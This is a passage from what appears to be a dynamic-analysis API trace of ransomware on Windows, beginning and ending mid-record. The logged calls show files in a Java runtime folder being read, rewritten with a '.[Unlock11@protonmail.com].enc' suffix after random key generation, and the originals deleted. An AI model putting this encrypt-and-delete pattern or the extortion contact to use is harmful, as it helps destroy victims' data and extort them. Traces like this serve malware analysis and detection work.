ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8)) returned 1 [0133.050] GetLastError () returned 0x0 [0133.051] GetCurrentThreadId () returned 0x9b0 [0133.051] GetLastError () returned 0x0 [0133.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0133.051] GetCurrentThreadId () returned 0x9b0 [0133.051] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba84 | out: pbBuffer=0x366ba84) returned 1 [0133.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0133.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0133.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0133.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0133.051] GetCurrentThreadId () returned 0x9b0 [0133.051] GetLastError () returned 0x0 [0133.052] GetLastError () returned 0x0 [0133.052] GetLastError () returned 0x0 [0133.052] GetLastError () returned 0x0 [0133.052] GetCurrentThreadId () returned 0x9b0 [0133.052] GetLastError () returned 0x0 [0133.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae68 | out: hHeap=0x2ad0000) returned 1 [0133.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0133.053] GetLastError () returned 0x0 [0133.053] GetLastError () returned 0x0 [0133.053] GetLastError () returned 0x0 [0133.053] GetLastError () returned 0x0 [0133.053] GetCurrentThreadId () returned 0x9b0 [0133.053] GetLastError () returned 0x0 [0133.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0133.053] GetCurrentThreadId () returned 0x9b0 [0133.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0133.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0133.053] GetLastError () returned 0x0 [0133.054] GetLastError () returned 0x0 [0133.054] GetLastError () returned 0x0 [0133.054] GetLastError () returned 0x0 [0133.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0133.054] GetLastError () returned 0x0 [0133.054] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.054] GetFileType (hFile=0x39c) returned 0x1 [0133.054] GetLastError () returned 0x0 [0133.054] GetCurrentThreadId () returned 0x9b0 [0133.055] GetLastError () returned 0x0 [0133.055] GetFileType (hFile=0x39c) returned 0x1 [0133.055] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.055] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.055] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.055] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.055] GetLastError () returned 0x0 [0133.055] GetCurrentThreadId () returned 0x9b0 [0133.055] GetLastError () returned 0x0 [0133.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0133.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0133.056] GetLastError () returned 0x0 [0133.056] GetLastError () returned 0x0 [0133.056] GetLastError () returned 0x0 [0133.056] GetLastError () returned 0x0 [0133.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0133.056] GetLastError () returned 0x0 [0133.056] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.057] GetFileType (hFile=0x3ac) returned 0x1 [0133.057] GetLastError () returned 0x0 [0133.057] GetCurrentThreadId () returned 0x9b0 [0133.057] GetLastError () returned 0x0 [0133.057] GetFileType (hFile=0x3ac) returned 0x1 [0133.057] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.057] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.057] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.057] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.057] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.057] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.058] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.058] GetLastError () returned 0x0 [0133.058] GetCurrentThreadId () returned 0x9b0 [0133.058] GetLastError () returned 0x0 [0133.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0133.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0133.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0133.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.058] GetCurrentThreadId () returned 0x9b0 [0133.058] GetCurrentThreadId () returned 0x9b0 [0133.059] GetCurrentThreadId () returned 0x9b0 [0133.059] GetCurrentThreadId () returned 0x9b0 [0133.060] GetCurrentThreadId () returned 0x9b0 [0133.060] GetCurrentThreadId () returned 0x9b0 [0133.060] GetCurrentThreadId () returned 0x9b0 [0133.061] CloseHandle (hObject=0x3ac) returned 1 [0133.061] GetCurrentThreadId () returned 0x9b0 [0133.061] CloseHandle (hObject=0x39c) returned 1 [0133.061] GetCurrentThreadId () returned 0x9b0 [0133.061] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0133.062] GetCurrentThreadId () returned 0x9b0 [0133.062] GetCurrentThreadId () returned 0x9b0 [0133.062] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", lpFilePart=0x9bada4*="win32_LinkNoDrop32x32.gif") returned 0x4f [0133.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0133.062] GetCurrentThreadId () returned 0x9b0 [0133.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0133.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0133.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0133.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.063] GetCurrentThreadId () returned 0x9b0 [0133.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0133.064] GetCurrentThreadId () returned 0x9b0 [0133.064] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0133.064] GetCurrentThreadId () returned 0x9b0 [0133.064] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc14 | out: pbBuffer=0x366bc14) returned 1 [0133.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0133.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0133.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0133.064] GetCurrentThreadId () returned 0x9b0 [0133.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.065] GetCurrentThreadId () returned 0x9b0 [0133.065] GetCurrentThreadId () returned 0x9b0 [0133.065] GetCurrentThreadId () returned 0x9b0 [0133.065] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.065] GetFileType (hFile=0x39c) returned 0x1 [0133.065] GetCurrentThreadId () returned 0x9b0 [0133.065] GetFileType (hFile=0x39c) returned 0x1 [0133.066] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.066] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.066] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.066] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.066] GetLastError () returned 0x0 [0133.066] GetCurrentThreadId () returned 0x9b0 [0133.066] GetLastError () returned 0x0 [0133.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0133.066] GetLastError () returned 0x0 [0133.067] GetLastError () returned 0x0 [0133.067] GetLastError () returned 0x0 [0133.067] GetLastError () returned 0x0 [0133.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0133.067] GetLastError () returned 0x0 [0133.067] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.067] GetFileType (hFile=0x3ac) returned 0x1 [0133.068] GetLastError () returned 0x0 [0133.068] GetCurrentThreadId () returned 0x9b0 [0133.068] GetLastError () returned 0x0 [0133.068] GetFileType (hFile=0x3ac) returned 0x1 [0133.068] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.068] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.068] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.068] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.068] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.068] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.068] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.068] GetLastError () returned 0x0 [0133.069] GetCurrentThreadId () returned 0x9b0 [0133.069] GetLastError () returned 0x0 [0133.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0133.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.069] GetLastError () returned 0x0 [0133.069] GetLastError () returned 0x0 [0133.069] GetCurrentThreadId () returned 0x9b0 [0133.069] GetLastError () returned 0x0 [0133.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0133.070] GetLastError () returned 0x0 [0133.070] GetLastError () returned 0x0 [0133.070] GetCurrentThreadId () returned 0x9b0 [0133.070] GetLastError () returned 0x0 [0133.070] GetLastError () returned 0x0 [0133.071] GetLastError () returned 0x0 [0133.071] GetCurrentThreadId () returned 0x9b0 [0133.071] GetLastError () returned 0x0 [0133.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.071] GetCurrentThreadId () returned 0x9b0 [0133.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb8) returned 0x325f230 [0133.072] GetLastError () returned 0x0 [0133.072] GetLastError () returned 0x0 [0133.072] GetLastError () returned 0x0 [0133.072] GetLastError () returned 0x0 [0133.072] GetCurrentThreadId () returned 0x9b0 [0133.072] GetLastError () returned 0x0 [0133.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f230 | out: hHeap=0x2ad0000) returned 1 [0133.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.072] GetLastError () returned 0x0 [0133.073] GetLastError () returned 0x0 [0133.073] GetCurrentThreadId () returned 0x9b0 [0133.073] GetLastError () returned 0x0 [0133.073] GetLastError () returned 0x0 [0133.073] GetLastError () returned 0x0 [0133.073] GetCurrentThreadId () returned 0x9b0 [0133.073] GetLastError () returned 0x0 [0133.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8608 | out: hHeap=0x2ad0000) returned 1 [0133.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.073] GetLastError () returned 0x0 [0133.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.074] CloseHandle (hObject=0x3ac) returned 1 [0133.074] GetLastError () returned 0x0 [0133.075] GetCurrentThreadId () returned 0x9b0 [0133.075] GetLastError () returned 0x0 [0133.075] GetLastError () returned 0x0 [0133.075] CloseHandle (hObject=0x39c) returned 1 [0133.075] GetLastError () returned 0x0 [0133.075] GetCurrentThreadId () returned 0x9b0 [0133.075] GetLastError () returned 0x0 [0133.075] GetLastError () returned 0x0 [0133.075] GetLastError () returned 0x0 [0133.075] GetLastError () returned 0x0 [0133.076] GetLastError () returned 0x0 [0133.076] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0133.077] GetLastError () returned 0x0 [0133.077] GetCurrentThreadId () returned 0x9b0 [0133.077] GetLastError () returned 0x0 [0133.077] GetCurrentThreadId () returned 0x9b0 [0133.077] GetLastError () returned 0x0 [0133.077] GetLastError () returned 0x0 [0133.077] GetLastError () returned 0x0 [0133.077] GetLastError () returned 0x0 [0133.077] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", lpFilePart=0x9bada4*="win32_MoveDrop32x32.gif") returned 0x4d [0133.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0133.078] GetCurrentThreadId () returned 0x9b0 [0133.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0133.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0133.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0133.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0133.078] GetLastError () returned 0x0 [0133.078] GetLastError () returned 0x0 [0133.078] GetLastError () returned 0x0 [0133.078] GetLastError () returned 0x0 [0133.078] GetCurrentThreadId () returned 0x9b0 [0133.078] GetLastError () returned 0x0 [0133.078] GetCurrentThreadId () returned 0x9b0 [0133.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0133.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.079] GetCurrentThreadId () returned 0x9b0 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.079] GetLastError () returned 0x0 [0133.080] GetLastError () returned 0x0 [0133.080] GetCurrentThreadId () returned 0x9b0 [0133.080] GetLastError () returned 0x0 [0133.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae68 | out: hHeap=0x2ad0000) returned 1 [0133.080] GetLastError () returned 0x0 [0133.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0133.080] GetLastError () returned 0x0 [0133.080] GetLastError () returned 0x0 [0133.080] GetLastError () returned 0x0 [0133.080] GetCurrentThreadId () returned 0x9b0 [0133.080] GetLastError () returned 0x0 [0133.081] GetCurrentThreadId () returned 0x9b0 [0133.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0133.081] GetLastError () returned 0x0 [0133.081] GetLastError () returned 0x0 [0133.081] GetLastError () returned 0x0 [0133.081] GetLastError () returned 0x0 [0133.081] GetCurrentThreadId () returned 0x9b0 [0133.081] GetLastError () returned 0x0 [0133.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0133.081] GetLastError () returned 0x0 [0133.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] GetCurrentThreadId () returned 0x9b0 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] GetLastError () returned 0x0 [0133.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.083] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93)) returned 1 [0133.083] GetLastError () returned 0x0 [0133.083] GetCurrentThreadId () returned 0x9b0 [0133.083] GetLastError () returned 0x0 [0133.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0133.083] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be44 | out: pbBuffer=0x366be44) returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0133.083] GetCurrentThreadId () returned 0x9b0 [0133.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0133.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0133.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0133.084] GetLastError () returned 0x0 [0133.084] GetLastError () returned 0x0 [0133.084] GetLastError () returned 0x0 [0133.084] GetLastError () returned 0x0 [0133.084] GetCurrentThreadId () returned 0x9b0 [0133.084] GetLastError () returned 0x0 [0133.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0133.084] GetCurrentThreadId () returned 0x9b0 [0133.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.085] GetLastError () returned 0x0 [0133.085] GetLastError () returned 0x0 [0133.085] GetLastError () returned 0x0 [0133.085] GetLastError () returned 0x0 [0133.085] GetCurrentThreadId () returned 0x9b0 [0133.085] GetLastError () returned 0x0 [0133.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0133.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0133.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0133.085] GetCurrentThreadId () returned 0x9b0 [0133.086] GetLastError () returned 0x0 [0133.086] GetLastError () returned 0x0 [0133.086] GetLastError () returned 0x0 [0133.086] GetLastError () returned 0x0 [0133.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0133.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5e8 [0133.086] GetLastError () returned 0x0 [0133.086] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.086] GetFileType (hFile=0x39c) returned 0x1 [0133.086] GetLastError () returned 0x0 [0133.087] GetCurrentThreadId () returned 0x9b0 [0133.087] GetLastError () returned 0x0 [0133.087] GetFileType (hFile=0x39c) returned 0x1 [0133.087] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.087] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.087] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.087] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.087] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.087] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: 